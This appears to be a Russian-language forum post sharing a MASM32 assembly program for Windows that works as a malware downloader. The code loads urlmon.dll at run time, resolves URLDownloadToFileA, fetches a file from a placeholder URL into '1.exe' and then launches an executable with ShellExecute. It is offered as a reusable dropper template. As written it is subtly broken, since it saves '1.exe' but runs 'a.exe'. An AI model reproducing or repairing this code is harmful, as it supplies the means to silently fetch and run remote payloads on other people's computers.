Код:
.386
.model flat, stdcall
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
include \masm32\include\shell32.inc
includelib \masm32\lib\shell32.lib
.data
Url byte 'YOURE URL', 0
Exe byte '1.exe', 0
Urlmonname byte 'urlmon.dll', 0
Downloadtofilename byte 'URLDownloadToFileA', 0
strFileName byte "a.exe", 0
ShellOpen byte "open",0
.data?
UrlMon dword ?
UrlDownloadToFile dword ?
.code
_main:
;Load urlmon.dll
invoke LoadLibrary, addr Urlmonname
;move the Handle to UrlMon
mov UrlMon, eax
;Get the Adress of the API
invoke GetProcAddress, UrlMon, addr Downloadtofilename
;Set the Adress of URLDOWNLOADTOFILE
mov UrlDownloadToFile, eax
;Now jump to the API after gaving hiim the Parameters
push 0
push 0
push offset Exe
push offset Url
push 0
call UrlDownloadToFile
;Execute File (visible = 1)
invoke ShellExecute, 0, Addr ShellOpen, Addr strFileName, 0, 0, 1
;Goto Hell
invoke ExitProcess, 0
end _main
Компилировал в MASM.